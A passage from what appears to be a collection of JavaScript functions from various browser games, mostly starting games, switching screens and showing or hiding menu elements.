backBtnDiv.appendChild(backBtn);\r\n //Adds all the elements to the page\r\n gameTypePage.appendChild(game1);\r\n gameTypePage.appendChild(game2);\r\n gameTypePage.appendChild(game3);\r\n gameTypePage.appendChild(backBtnDiv);\r\n //Adds the menu page to the body\r\n document.body.appendChild(gameTypePage);\r\n }\r\n // sets the new currentPage to this game\r\n currentPage = gameTypePage;\r\n // shows the page\r\n currentPage.classList.remove(\"hide\");\r\n\r\n}", "function renderPage() {\n\n if (STORE.view === 'start') {\n if (game1.sessionToken) {\n $('start-button').attr('disabled', false);\n }\n $('.page').html(renderStartView());\n }\n if (STORE.view === 'questions') {\n console.log('about to render');\n $('.page').html(renderQuestionView());\n }\n if (STORE.view === 'feedback' && STORE.showFeedback === true) {\n $('.page').html(renderFeedbackView());\n }\n if (STORE.view === 'results') {\n $('.page').html(renderResultsView());\n }\n}", "function switchGameState(){\n switch(gameState.scene) {\n\n \t\t\tcase \"pause\":\n \t\t\t\trenderer.render( pauseScreen, pauseCam );\n \t\t\t\tbreak;\n\n \t\t\tcase \"start\":\n \t\t\t\trenderer.render( startScreen, startCam );\n \t\t\t\tbreak;\n\n \t\t\tcase \"gameover\":\n \t\t\t\trenderer.render( gameOver, overCam );\n \t\t\t\tbreak;\n\n case \"end\":\n \t\t\t\trenderer.render( endScreen, endCam );\n \t\t\t\tbreak;\n\n \t\t\tcase \"main\":\n updateCamera();\n cameraZoom();\n updateCharacter();\n animateParticles(snow1);\n animateParticles(snow2);\n animateParticles(snow3);\n animateParticles(snow4);\n\t\t updateStory();\n scene.simulate();\n\n\n // Will be removed with devCamera at another time\n // renderer.render( scene, camera );\n if (devCameraActive){\n renderer.render( scene, devCamera );\n }else {\n renderer.render( scene, camera );\n }\n \t\t\t\tbreak;\n\n \t\t\tdefault:\n \t\t\t console.log(\"don't know the scene \"+gameState.scene);\n \t\t}\n }", "function setGameElements() {\n\t\n\tdisableEnableButtons(\"enable\");\n\t\n\tswitch(gameStatus) {\n\t\tcase \"started\":\n\t\t\tnewGame.style.display = \"none\";\n\t\t\tgameResultsScreen.style.display = \"none\";\n\t\t\tgamePicker.style.display = \"block\";\n\t\t\tgameStats.style.display = \"block\";\n\t\t\tbreak;\n\t\tcase \"ended\":\n\t\t\tnewGame.style.display = \"none\";\n\t\t\tgameResultsScreen.style.display = \"block\";\n\t\t\tgamePicker.style.display = \"none\";\n\t\t\tgameStats.style.display = \"none\";\n\t\t\tbreak;\n\t\tcase \"notStarted\":\n\t\t\tnewGame.style.display = \"block\";\n\t\t\tgamePicker.style.display = \"none\";\n\t\t\tgameStats.style.display = \"none\";\n\t\t\tgameResultsScreen.style.display = \"none\";\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tnewGame.style.display = \"block\";\n\t\t\tgamePicker.style.display = \"none\";\n\t\t\tgameStats.style.display = \"none\";\n\t\t\tgameResultsScreen.style.display = \"none\";\n\t\t\n\t}\n}", "function switchToGameBoard(){\n\t\tif(userlist.length === 0){\n\t\t\tturnService.showWaitingAlert();\n\t\t}\n\t\t$userLoginArea.hide();\n\t\t$pageWrapper.show();\n\t\t$currentPhrase.hide();\n\t}", "function loadHomePage() \n{\n //Sets all of the warmUps array to false\n initWarmUps();\n //Clears canvas, stops all currently playing sounds and erases all CallBack events.\n initGame();\n\n //Background loaded\n var homePage = game.add.image(game.world.centerX, game.world.centerY, 'homePage');\n homePage.anchor.setTo(0.5, 0.5);\n homePage.width = width;\n homePage.height = height;\n\n //Fingrafimi logo loaded\n var logoL = game.add.image(200, 40, 'logoL');\n\n //Instructor Maggi Minnkur loaded and the animation of moving his mouth to make him talk.\n var instructorMaggi = game.add.sprite(500, 150, 'instructorMaggi', 0);\n instructorMaggi.scale.setTo(0.8);\n instructorMaggi.animations.add('talk', [0, 1, 0, 1, 1, 0], 6, true);\n\n //Buttons for all assignments added, clicking on them calls on the Instructions function first sending into it\n //the number of the assignment and exercise chosen\n var btnFj = game.add.button(28, 20, 'fj');\n btnFj.events.onInputDown.add(function(){ Instructions(0, -1); });\n\n var btnDk = game.add.button(28, 70, 'dk');\n btnDk.events.onInputDown.add(function(){ Instructions(1, -1); });\n\n var btnSl = game.add.button(28, 120, 'sl');\n btnSl.events.onInputDown.add(function(){ Instructions(2, -1); });\n \n var btnAae = game.add.button(28, 170, 'aae');\n btnAae.events.onInputDown.add(function(){ Instructions(3, -1); });\n\n var btnHome1 = game.add.button(28, 215, 'heimalyklar1');\n btnHome1.events.onInputDown.add(function(){ Instructions(4, -1); });\n\n var btnHome2 = game.add.button(23, 275, 'heimalyklar2');\n btnHome2.events.onInputDown.add(function(){ Instructions(5, -1); });\n\n var btnEh = game.add.button(30, 340, 'eh');\n btnEh.events.onInputDown.add(function(){ Instructions(6, -1); });\n\n var btnIg = game.add.button(30, 388, 'ig');\n btnIg.events.onInputDown.add(function(){ Instructions(7, -1); });\n\n var btnBn = game.add.button(30, 437, 'bn');\n btnBn.events.onInputDown.add(function(){ Instructions(8, -1); });\n \n var btnRo = game.add.button(30, 485, 'ro'); \n btnRo.events.onInputDown.add(function(){ Instructions(9, -1); });\n\n var btnBrodd = game.add.button(30, 535, 'broddstafir');\n btnBrodd.events.onInputDown.add(function(){ Instructions(10, -1); });\n \n var btnHastafir = game.add.button(30, 605, 'hastafir');\n btnHastafir.events.onInputDown.add(function(){ Instructions(11, -1); });\n \n // Turn off keyboard listening events\n game.input.keyboard.stop();\n \n //Resets all variables regarding the exercise text\n initTextVariables();\n\n //Displays the logo from Menntamálastofnun in the botton left corner\n addLogo(170, 0.5);\n\n //Displays a button which can mute or unmute the sound for the game\n addMuteButton();\n\n //Displays a button which when clicked on it will open a teachers manual PDF on the game in a new tab\n var btnteacher = game.add.button(830, 610, 'teacher', function() { window.open(\"http://vefir.nams.is/fingrafimi/fingrafimi_klbtilb.pdf\", \"_blank\");}, this); \n btnteacher.scale.setTo(0.8);\n\n //Displays a button which when clicked on it will open a progress sheet PDF for students in a new tab\n var btnmat = game.add.button(890, 610, 'mat', function() { window.open(\"http://vefir.nams.is/fingrafimi/fingrafimi_matsbl.pdf\", \"_blank\");}, this); \n btnmat.scale.setTo(0.8);\n\n //Displays a small window in the canvas with information about the game and its creaters\n var btnabout = game.add.button(950, 605, 'about', function(){ loadAbout(); }, this); \n btnabout.scale.setTo(0.8);\n \n //If this is the first time loadHomePage is loaded then do the following\n if(firstLoad)\n {\n //Once the intro sound file is finished playing stop the talking animation and the the frame on Maggi minnkur\n //to 0 which will leave his mouth closed \n intro.onStop.addOnce(function(){ instructorMaggi.animations.stop(); instructorMaggi.frame = 0; }, this);\n //Start playing intro audio\n intro.play();\n //Start animation of Maggi Minnkur talking\n instructorMaggi.play('talk');\n //Make sure this will not be played again unless browser is refreshed\n firstLoad = false;\n }\n}", "function Start()\n {\n PageSwitcher();\n\n Main();\n }", "function gamestart() {\n\t\tshowquestions();\n\t}", "function gameMenu(gameMode, globalPlayer1, globalPlayer2) {\n\t\t$('#pve-button').click(function() {\n\t\t\tgameMode = 'pve';\n\t\t\t\n\t\t\t// initialize scoreboard, set player names\n\t\t\tinitializeScoreboard(gameMode, globalPlayer1, globalPlayer2);\n\n\t\t\t// Closes overlay\n\t\t\ttoggleWrapper();\n\n\t\t\t// Start game initializer\n\t\t\tinitiateGameType(gameMode, globalPlayer1, globalPlayer2);\n\t\t})\n\n\t\t$('#pvp-button').click(function() {\n\t\t\tgameMode = 'pvp';\n\n\t\t\t// initialize scoreboard, set player names\n\t\t\tinitializeScoreboard(gameMode, globalPlayer1, globalPlayer2);\n\n\t\t\t// Closes overlay\n\t\t\ttoggleWrapper();\n\n\t\t\t// Start game initializer\n\t\t\tinitiateGameType(gameMode, globalPlayer1, globalPlayer2);\n\t\t})\n\t}", "function doSetupTitleScreenLevelContinue(){\tLoadGame();}", "function startGame() {\n pageTransition(\"blankpage\");\n setTimeout(function(){window.location.href = \"./game.html\"}, 800);\n}", "function helpGame(){\n startScene.visible = false;\n helpScene.visible = true;\n gameOverScene.visible = false;\n gameScene.visible = false;\n}", "function startGame() {\n if(gameState.gameDifficulty === 'easy')\n {\n easyMode();\n } \n if(gameState.gameDifficulty ==='normal'){\n normalMode();\n }\n\n if(gameState.gameDifficulty ==='hard'){\n hardMode();\n }\n\n}", "function gsPLAY(){\r\n gameState = PLAY\r\n ServeScreen.visible= false\r\n StartButton.hide();\r\n InfoButton.hide();\r\n InfoIcon.visible = false;\r\n touches = []\r\n Joey.x = StartGround.x\r\n Joey.changeAnimation(\"Jumping\",Jumping_Joey);\r\n SaveName.hide();\r\n displayName.hide();\r\n NameBar.hide();\r\n title.hide();\r\n \r\n }", "function initGame (){\n\n resetData();\n \n //Update content\n\n \n //Pick a new country and display info\n pickCountry();\n getcountryText();\n UpdateContent();\n\n //hide background image\n\n dispGame.classList.add(\"gameStarted\");\n dispGame.style.display = \"block\";\n dispGame.style.visibility = \"visible\";\n \n //hide start button\n startGame.style.display = \"none\";\n\n //Set isGameOver to false\n isgameOver = false;\n\n}", "function setupPage(){\n Card.create();\n Menu.render();\n}", "function mainMenuClick() {\n //load landing screen of the game\n loadHomeScreen();\n //play button audio sound\n playButtonAudio();\n}", "function loadGame() {\n mayiPivot = false;\n startButton.animate().alpha(0).duration(500).onEnd = function() {\n startButton.setHidden(true);\n startButton.setClickable(false);\n };\n dropSpider.animate().alpha(0).duration(500).onEnd = function() {\n dropSpider.setHidden(true);\n }\n mainOverlayBG.setHidden(false);\n mainOverlayBG.animate().alpha(1).duration(1100);\n gameBG.setHidden(false);\n gameBG.animate().alpha(1).duration(1100);\n deadpool.setHidden(false);\n deadpool.animate().alpha(1).duration(1200);\n gameHeader.setHidden(false);\n gameHeader.animate().alpha(1).duration(1200);\n gameHeart3.setHidden(false);\n gameHeart3.animate().alpha(1).duration(1200);\n spideyBody.setHidden(false);\n spideyBody.animate().alpha(1).duration(1200);\n spideyHead.setHidden(false);\n spideyHead.animate().alpha(1).duration(1200);\n gameScore.setHidden(false);\n gameTimer.setHidden(false);\n blackScreen.setHidden(false);\n blackScreen.animate().alpha(0.75).duration(1200);\n gameInstructions.animate().alpha(1).duration(1300).onEnd = function() {\n gameInstructions.setHidden(false);\n }\n gameInstructions.setClickable(true);\n}", "function game() {\n document.querySelector(\"#gameStartModal\").style.display = \"none\";\n document.querySelector(\"#header section#level\").style.display = \"block\";\n document.querySelector(\"#header section#start\").style.display = \"block\";\n init();\n // The game loop.\n update();\n}", "function setupGame() {\n // animate the grass and fence\n $(\"#game-screen\").fadeIn(0, function () {\n // uses callbacks to nest the animations\n $(\"#fence\").fadeIn(750, function() {\n $(\"#grass\").fadeIn(500);\n $(\"#input-container\").fadeIn(500);\n });\n });\n \n }", "startGame() {\r\n\t\tthis.board.drawHTMLBoard();\r\n\t\tthis.activePlayer.activeToken.drawHTMLToken();\r\n\t\tthis.ready = true;\r\n\t}", "function initGame(){\n resetGameStats()\n setLevel()\n gBoard = buildBoard()\n renderBoard(gBoard)\n gGame.isOn = true\n\n}", "function onBoardClick() {\n if (!hasStarted) {\n startGame();\n } else {\n startPause();\n }\n }", "function updateScreen() {\n\n if (mode === 'player1') { //Player is player 1\n // console.log(\"Player is player 1\")\n\n // Hide/show sections depending on game mode\n $(\"#welcomeSection\").hide();\n $(\"#userSection\").hide();\n $(\"#gameSection\").show();\n $(\"#viewerSection\").hide();\n\n //Hide/show the elements on player bars\n $(\"#p1p\").show();\n $(\"#p1v\").hide();\n $(\"#p2p\").hide();\n $(\"#p2v\").show();\n\n } else if (mode === 'player2') { //Player is player 2\n // console.log(\"Player is player 2\")\n\n // Hide/show sections depending on game mode\n $(\"#welcomeSection\").hide();\n $(\"#userSection\").hide();\n $(\"#gameSection\").show();\n $(\"#viewerSection\").hide();\n\n //Hide/show the elements on player bars\n $(\"#p1p\").hide();\n $(\"#p1v\").show();\n $(\"#p2p\").show();\n $(\"#p2v\").hide();\n\n } else if (mode === 'viewer') { //Player is just watching\n // console.log(\"Just watching\")\n\n // Hide/show sections depending on game mode\n $(\"#welcomeSection\").hide();\n $(\"#userSection\").hide();\n $(\"#gameSection\").hide();\n $(\"#viewerSection\").show();\n }\n\n if (player1.name) { // If a PLAYER1 exists\n\n // Hide the button to play as PLAYER 1\n $(\".buttonP1\").hide();\n\n // Display the username in the wing\n $(\".player1Name\").text(\"Player: \" + player1.name);\n\n } else {\n $(\".buttonP1\").show();\n $(\".player1Name\").text(\"Waiting for player\");\n }\n\n if (player2.name) { // If a PLAYER2 exists\n\n // Hide the button to play as PLAYER 2\n $(\".buttonP2\").hide();\n\n // Display the username in the wing\n $(\".player2Name\").text(\"Player: \" + player2.name);\n\n } else {\n $(\".buttonP2\").show();\n $(\".player2Name\").text(\"Waiting for player\");\n }\n\n if (player1.choice) { // If player 1 make choice\n // Show choice to viewers only\n $(\"#player1choice\").html('<img src=\"./assets/images/icon_' + player1.choice + '.png\" id=\"' + player1.choice + '\" alt=\"' + player1.choice + '\"></img>');\n } else {\n //If no choice then clear\n $(\"#player1choice\").html('');\n $(\".oponentChoice1\").html('');\n }\n\n if (player2.choice) { // If player 2 make choice\n // Show to viewers only\n $(\"#player2choice\").html('<img src=\"./assets/images/icon_' + player2.choice + '.png\" id=\"' + player2.choice + '\" alt=\"' + player2.choice + '\"></img>');\n } else {\n //If no choice then clear\n $(\"#player2choice\").html('');\n $(\".oponentChoice2\").html('');\n }\n\n if (player1.choice && player2.choice) {\n // If both players have chosen then test who wins?\n\n // Winner return who wins (player1, player2 or tie)\n var winner = whoWin(player1.choice, player2.choice);\n\n //show their oponent's choice\n $(\".oponentChoice1\").html('<img src=\"./assets/images/icon_' + player1.choice + '.png\" id=\"' + player1.choice + '\" alt=\"' + player1.choice + '\"></img>');\n $(\".oponentChoice2\").html('<img src=\"./assets/images/icon_' + player2.choice + '.png\" id=\"' + player2.choice + '\" alt=\"' + player2.choice + '\"></img>');\n\n // Depending who wins\n switch (winner) {\n case 'player1': // If PLAYER1 wins\n\n // Message for PLAYERS\n if (mode == winner) {\n $(\".resultMessageP\").text(\"You won!\");\n wins++;\n } else {\n $(\".resultMessageP\").text(\"You lost!\");\n loses++;\n }\n\n // Message for VIEWERS\n $(\".resultMessageV\").text(eval(winner).name + \" wins!\");\n // console.log(eval(winner).name + \" wins!\");\n break;\n\n case 'player2': // If PLAYER2 wins\n\n // Message for PLAYERS\n if (mode == winner) {\n $(\".resultMessageP\").text(\"You won!\");\n wins++;\n } else {\n $(\".resultMessageP\").text(\"You lost!\");\n loses++;\n }\n\n $(\".resultMessageV\").text(eval(winner).name + \" wins!\");\n // console.log(eval(winner).name + \" wins!\");\n break;\n\n case 'tie': // If it's a tie\n // Message for PLAYERS\n $(\".resultMessageP\").text(\"Same choice... its a tie\");\n\n // Message for PLAYERS\n $(\".resultMessageV\").text(\"Same choice... its a tie\");\n // console.log(\"Same choice... its a tie\");\n break;\n }\n\n // Wait some time to show the winner and clear all games\n setTimeout(function () {\n prepareForNewGame();\n // console.log(\"NEW GAME\");\n\n }, 5000); // Wait this many miliseconds after staring a new match\n }\n\n // Update stats\n $(\".playerStats\").text(\"WINS: \" + wins + \" - LOSES: \" + loses);\n\n }", "function menuGame() {\n // Titles\n push();\n fill(`#54d6`);\n displayText(32, INSTRUCTION_TEXT[0], width / 2.1, height / 5.5);\n displayText(32, INSTRUCTION_TEXT[1], width / 2.1, height / 2.25)\n displayText(32, INSTRUCTION_TEXT[2], width / 2.1, height / 1.5)\n pop();\n\n // MINIGAME 1\n if (minigame1) {\n\n push();\n fill(`#54d6`);\n displayText(56, TITLE_TEXT[0], width / 2.1, height / 15);\n pop();\n\n // Texts\n push();\n fill(`#2d67dc`);\n displayText(28, INSTRUCTION_TEXT[3], width / 2.1, height / 3.5);\n displayText(28, INSTRUCTION_TEXT[4], width / 2.1, height / 1.85);\n displayText(28, INSTRUCTION_TEXT[5], width / 2.1, height / 1.35);\n pop();\n }\n // MINIGAME 2\n else if (minigame2) {\n\n push();\n fill(`#54d6`);\n displayText(56, TITLE_TEXT[1], width / 2.1, height / 15);\n pop();\n\n // Texts\n push();\n fill(`#2d67dc`);\n displayText(28, INSTRUCTION_TEXT[6], width / 2.1, height / 3.5);\n displayText(28, INSTRUCTION_TEXT[7], width / 2.1, height / 1.85);\n displayText(28, INSTRUCTION_TEXT[8], width / 2.1, height / 1.35);\n pop();\n }\n\n // CLICK TO PLAY\n push();\n fill(`#909eba`);\n displayText(24, INSTRUCTION_TEXT[9], width / 2.1, height / 1.1);\n pop();\n}", "function startGame(){\n hideContent();\n unhideContent();\n assignButtonColours();\n generateDiffuseOrder();\n clearInterval(interval);\n setlevel();\n countdown(localStorage.getItem(\"theTime\"));\n listeningForClick();\n}", "function startGame() {\n\t$(\"#start-button\", \"#menu\").click(function(){\n\t\tif (sess_token == null) {\n\t\t\treturn;\n\t\t}\n\t\tbutton_lock = true;\n\t\tdocument.getElementById(\"question-answer-container\").style.visibility = \"visible\";\n\t\tdocument.getElementById(\"stats\").style.visibility = \"visible\";\n\t\tdocument.getElementById(\"menu\").style.visibility = \"hidden\";\n\t\tdocument.getElementById(\"reset-button\").style.visibility = \"visible\";\n\t\tgetQuestion(\"easy\");\n\t}); \n}", "function goToGame(type){\n screens[i].style.display = \"none\";\n i++;\n screens[i].style.display = \"block\";\n gameType = type\n if (gameType == \"recycle\"){\n recycleGame();\n } else if (gameType == \"compost\"){\n compostGame();\n }\n}", "startGame () {\n game.state.start('ticTac')\n }", "function singlePlayer(){\n toggleDisplayBlock('mode'); \n toggleDisplayNone('modePlay');\n toggleDisplayNone('startmultiplayer');\n toggleDisplayBlock('startsingleplayer'); \n toggleDisplayBlock('computerturn'); \n toggleDisplayNone('OpponentTurn'); \n toggleDisplayBlock('quit'); \n toggleDisplayNone('quitonline'); \n tab_highs();\n}", "startGame() {\r\n // Hide start screen overlay\r\n document.getElementById('overlay').style.display = 'none';\r\n\r\n // get a random phrase and set activePhrase property\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhrasetoDisplay();\r\n }", "function startGame() {\n\n game.updateDisplay();\n game.randomizeShips();\n $(\"#resetButton\").toggleClass(\"hidden\");\n $(\"#startButton\").toggleClass(\"hidden\");\n game.startGame();\n game.updateDisplay();\n saveGame();\n}", "function startGame() { }", "function initLoad()\n{\n console.log('page load');\n myGame.buildBoard();\n myGame.nextMove();\n myGame.reset();\n}", "function dosPlayer() {\n const firstPage = document.getElementById('start');\n firstPage.remove();\n const gamePage = document.getElementById('gridParent');\n gamePage.className = \"toggle\";\n return twoPlayer();\n}", "function prepareDemoMode(){\n //* call the function that will reset the board for a new game\n htmlClearGame();\n //* define game for purposes of the demo mode\n var game = {};\n //* define game.hand with an array of pairs each matching the one following it\n game.hand = [ 'btrs', 'btyc', 'rsyc', 'rcyt', 'bcrt', 'bsrs', 'ytrs', 'ytbs', 'rtbs', 'ycbs', 'ycrt', 'bcrt', 'bcrc', 'rcbc', 'rcys', 'rsyc' ];\n //* define game.id as 'demo-mode'\n game.id = 'demo-mode';\n //* call the function that will update the DOM\n htmlEnterDemoMode(game);\n}", "function menuScreen() {\n if (currentPage === 'highscorepage') {\n $box2.animate({left: $screenWidth}, 150); // slides highscorepage back to original location hidden offscreen - 150 is the speed in mlilliseconds\n } else if (currentPage === 'creditspage') {\n $box3.animate({left: $screenWidth}, 150); // slides creditspage back to original location hidden offscreen - 150 is the speed in mlilliseconds\n } else {\n $box1.animate({left: $screenWidth}, 150); // slides playpage back to original location hidden offscreen - 150 is the speed in mlilliseconds\n }\n currentPage = 'menupage';\n }", "function loadGame(){\n\t// images\n\tbgImage.src = \"images/backgframe_480.jpg\";\n\tdude.src = \"images/person.png\";\n\tscrollImage.src = \"images/scroll.png\";\n\t\n\t// required buttons\n \tpauseButtonImage.src = \"images/gmenub1.png\";\n\t\n \tpauseButtonImage2.src = \"images/gpauseButton.png\";\n\t\n\t// test buttons (debugging)\n \tgenerateButtonImage.src = \"images/button.png\";\n\tvictoryButtonImage.src = \"images/button.png\";\n\taddscoreButtonImage.src = \"images/button.png\";\n\taddGameOverButtonImage.src = \"images/button.png\";\n\n\t/*// turn off main menu music\n\tmusicOn = false;\n\tmusic.pause();*/\n\t\n\tinitGameSetting(); //rules.js\n}", "function startGame() {\n\t// Display Gameplay Info Panels //\n $(\".shipPanel\").fadeIn(\"fast\", function() {\n });\n \t$(\".topPanel\").fadeOut(\"fast\", function() {\n \t\t$(\".console\").css( { \"margin-top\" : \"5%\" } );\n\t });\n\t // Naval Command Communicates //\n\t $(\".text\").text(coms.start);\n \t// Display Player 1 Board //\n \thighlightBoard2();\n }", "function init() {\n\t// Page elements that we need to change\n\tG.currTitleEl = document.getElementById('current-title');\n\tG.currImageEl = document.getElementById('current-image');\n\tG.currTextEl = document.getElementById('current-text');\n\tG.currChoicesEl = document.getElementById('current-choices-ul');\n\tG.audioEl = document.getElementById('audio-player');\n\t\n\t// Start a new game\n\tnewGame(G);\n}", "function startGame(player1Name, player2Name, difficultySetting) {\n window.scoreboard = new Scoreboard(player1Name, player2Name, difficultySetting); \n window.gameboard = new Gameboard(difficultySetting); \n window.clickToPlay = new ClickToPlay(player1Name, player2Name, difficultySetting);\n $('#grid-container-body').removeClass('hide');\n setTimeout(hideWelcomeModal, 500);\n }", "function game() {\n console.log(\"Main game function ran\");\n /* I hide the initial screen */\n $(\"#start\").hide();\n /* I show the Play again and game info plus the first question*/\n gameInfoReset();\n $(\"#top\").show();\n $(\"#gamecontent\").show();\n showNextQuestion();\n \n /* I define function for what happens when users clicks possible answer */\n $(\"button\").click(function () {\n $(this).focusout();\n console.log(\"Answer button was clicked\");\n controlAnswer($(this).text());\n questionNumber += 1;\n console.log(\"Question no. now: \" + questionNumber);\n gameOverControl();\n\n });\n }", "initiate() {\n this.#buildStartGameButton();\n this.#buildhowToPlayButton();\n this.#buildAboutButton();\n this.#startHeaderAnimation();\n }", "function toggleGameElements() {\r\n if ($(\"#game-content\").hasClass(\"hidden\")) {\r\n $(\"#game-content\").removeClass(\"hidden\");\r\n }\r\n else {\r\n $(\"#game-content\").addClass(\"hidden\");\r\n }\r\n }", "function startGame(){\n document.getElementById('overlay-screen').style.display = 'none';\n initGameData();\n}", "function init() {\n //go through menus\n menus = true;\n //choosing play style\n choosingStyle = true;\n //Display text and buttons\n AI.DecidePlayStyle();\n //load the board and interactable cubes\n LoadBoard();\n LoadInteractables();\n}", "function startGameHandler()\n{\n introScreen.style.display = \"none\";\n gameScreen.style.display = \"block\";\n}", "function startGame(g_ctx){\n main.GameState = 1;\n levelTransition.levelIndex = -1;\n}", "function giveInstructions()\n{\n startScene.visible = false;\n instructionScene.visible = true;\n gameScene.visible = false;\n pauseMenu.visible = false;\n gameOverScene.visible = false;\n buttonSound.play();\n}", "function pageSetUp(){\n\tk=0;\n\tArray.prototype.slice.call(document.querySelectorAll(\".gameCell\")).forEach(function(el){\n\t\t//assign all cells certain images\n\t\tel.setAttribute(\"class\", \"gameCell \" + avaImg[Math.floor(Math.random()*6)] );\n\t\t//change the color so that the user won't see\n\t\tel.classList.add(\"changeColor\");\n\t\t//listen for click on all of the game cells\n\t\tel.addEventListener(\"click\", flipIn);\n\t});\n\tdocument.getElementById(\"clear\"). addEventListener(\"click\", cleanUp);\n}", "function setUpPage(){\r\n displayHeader();\r\n displayFooter();\r\n displaySideBar();\r\n createEventListeners();\r\n}", "function gameON() {\n //toggling STOP - START\n $(\"#start\").one(\"click\", startGame);\n $(\"#strict\").one(\"click\", strictON);\n litLed(this);\n $(this).one(\"click\", gameOFF);\n}", "function startGame() {\n playButton.classList.add(\"hide\");\n gameRules.classList.add(\"hide\");\n title.classList.add(\"hide\");\n gameSection.classList.remove(\"hide\");\n }", "function init() {\n setupModeButtons();\n setupSquares();\n resetGame();\n}", "function startGame () {\n location.replace(\"vcaballeassign3_1.html\");\n}", "function gsSERVE(){\r\n gameState = SERVE\r\n InfoScreen.visible = false;\r\n CancelButton.hide();\r\n NextButton.hide();\r\n PreviousButton.hide();\r\n nextIcon.visible =false;\r\n previousIcon.visible = false;\r\n StartButton.show();\r\n displayName.show();\r\n }", "function pauseGame()\n {\n toMenu();\n }", "function startGame() {\n\tsetup();\n\tmainLoop();\n}", "function startGame() {\n let gameBoard = document.getElementById('gameBoard');\n let tutorial = document.getElementById('tutorial');\n gameBoard.style.display = \"block\";\n tutorial.style.display = \"none\";\n addGround();\n addTree(treeCenter, trunkHeight);\n addBush(bushStart);\n addStones(stoneStart);\n addCloud(cloudStartX, cloudStartY);\n addingEventListenersToGame();\n addingEventListenersToTools();\n addInventoryEventListeners()\n}", "function Init() {\n \n playGame = false;\n\n statusTab.hide();\n board.hide();\n gameEnd.hide();\n \n startButton.click(function(event) {\n event.preventDefault();\n StartPlaying();\n });\n\n resetButton.click(function(event) {\n event.preventDefault();\n RestartGame();\n });\n}", "function gameStart(){\n\t\tplayGame = true;\n\t\tmainContentRow.style.visibility = \"visible\";\n\t\tscoreRow.style.visibility = \"visible\";\n\t\tplayQuitButton.style.visibility = \"hidden\";\n\t\tquestionPool = getQuestionPool(answerPool,hintPool);\n\t\tcurrentQuestion = nextQuestion();\n}", "function switch_game(home, away) {\n ls_update_all = 1;\n ls_home_id = home;\n ls_away_id = away;\n ls_validate_matchup(ls_home_id,ls_away_id);\n ls_check_if_bye();\n show_game(ls_home_id, ls_away_id);\n update_scores();\n if (ls_includeInjuryStatus) ls_update_injuries();\n ls_add_icons(ls_home_id);\n try { MFLPlayerPopupNewsIcon();} catch (er) {}\n ls_add_caption();\n ls_add_records(ls_home_id, ls_away_id);\n $(\"#LS_AwayTeamName,#LS_AwayTeamRecord,#LS_AwayScore\").trigger('click');\n}", "function playGame(){\r\n //set game to runnning and not paused\r\n gameRunning = true;\r\n gamePaused = false;\r\n hideMenuTable();\r\n setupNewGame();\r\n showGameTables();\r\n //call execution\r\n execution(gameRunning);\r\n}", "function gameSetUp() {\n userScore = 0;\n computerScore = 0;\n gameBoardDiv.innerHTML = gameOptions; \n document.getElementById('message').innerHTML = ('Hey ' + firstName + ' are you ready to play? Choose from the different game options below');\n userInputDiv.classList.add('hide');\n showRules();\n shortGameSwitch();\n mediumGameSwitch();\n longGameSwitch();\n}", "function goHome(){\n ctx.clearRect(0,0,canvas.width,canvas.height)\n gameFrontPage()\n gameEnd.style.display = \"none\";\n frontPage.style.display = \"block\";\n}", "function initGame() {\r\n renderLevels()\r\n gGame = {\r\n isOn: true,\r\n isFirstClick: true,\r\n\r\n }\r\n gBoard = buildBoard();\r\n renderBoard(gBoard);\r\n startTimer()\r\n\r\n}", "function startgame() {\t\r\n\tloadImages();\r\nsetupKeyboardListeners();\r\nmain();\r\n}", "function preInitialize() {\n preInitialization.style.display = 'block';\n game.style.display = 'none';\n}", "function setUpPage(){\r\n displayHeader();\r\n displayFooter();\r\n displaySideBar();\r\n\r\n createEventListeners();\r\n}", "function startGame() {\n $controls.addClass(\"hide\");\n $questionWrapper.removeClass(\"hide\");\n showQuestion(0, \"n\");\n points();\n}", "function goHome() {\n if (element[\"flexGrid\"].style.display === \"none\") {\n element[\"flexGrid\"].style.display = \"grid\";\n element[\"stats\"].style.display = \"none\";\n element[\"developerOptions\"].style.display = \"none\";\n element[\"help\"].style.display = \"none\";\n if (gameData.duckchosen === -1) {\n element[\"chooseDuck\"].style.display = \"block\";\n } else {\n element[\"chooseDuck\"].style.display = \"none\";\n }\n } \n}", "function showGamePage() {\n let gameDiv = document.getElementById(\"game\");\n gameDiv.style.display = \"block\";\n }", "function startGame() {\n\t\ttheBoxes.innerText = turn;\n\t\twinner = null;\n\t}", "function newGameVideo() {\n //light up the island for the first time\n}", "function highScoreScreen() {\n if (currentPage === 'creditspage') {\n $box3.animate({left: $screenWidth}, 150); // slides creditspage back to original location hidden offscreen - 150 is the speed in mlilliseconds\n } else if (currentPage === 'highscorepage') {\n $box2.animate({left: 0}, 150); // slides highscorepage back to original location hidden offscreen - 150 is the speed in mlilliseconds\n } else if (currentPage === 'playpage') {\n $box1.animate({left: $screenWidth}, 150); // slides playpage back to original location hidden offscreen - 150 is the speed in mlilliseconds\n }\n currentPage = 'highscorepage';\n }", "startGame() {\n overlay.style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function switchView() {\r\n displayScore();\r\n id(\"intro\").classList.toggle(\"hidden\");\r\n id(\"game\").classList.toggle(\"hidden\");\r\n }", "function startGame() {\n startTimer();\n landingPage.classList.add(\"hide\");\n quizPage.classList.remove(\"hide\");\n timerEl.classList.remove(\"hide\");\n}", "function changePage(){\n //show all buttons on page if they are currently hidden\n showElementByClass(otherPages)\n \n //hide all pages\n hideElementByClass(pages)\n \n //hide fight mechanic show save buttons, clear enemy list, ingame text, battle text, counters, win, lucky, unlucky and escape functions, rolldie, rolldice, testLuck, useProvisions\n fightMechanic.style.display = 'none'\n save.style.display = 'block' //can only save on pages with no function\n enemyList = []\n allEnemies.innerHTML = ''\n ingameText.innerHTML = ''\n ingameText.style.display = 'block' //show ingametext on all func pages\n battleText.innerHTML = ''\n attackRoundCounter = 0\n hitsReceivedCounter = 0\n win = function(){}\n lucky = function(){}\n unlucky = function(){}\n escape = function(){}\n rolldie.style.display = 'none'\n rolldice.style.display = 'none'\n testLuck.style.display = 'none' //for luck outside of battle\n useProvisions.style.display = 'none'\n \n //show selected page\n for(let i=0;i<pages.length;i++){\n if(pages[i].id==this.innerHTML){\n pages[i].style.display = 'block'\n //run every event function that occur on selected page\n if(pageEventFunctions[pages[i].id]){\n pageEventFunctions[pages[i].id]()\n //if page has functions, hide save button\n save.style.display = 'none'\n }\n //check death if page func has instant stamina loss\n checkPlayerDeath()\n }\n }\n //add new page to log\n 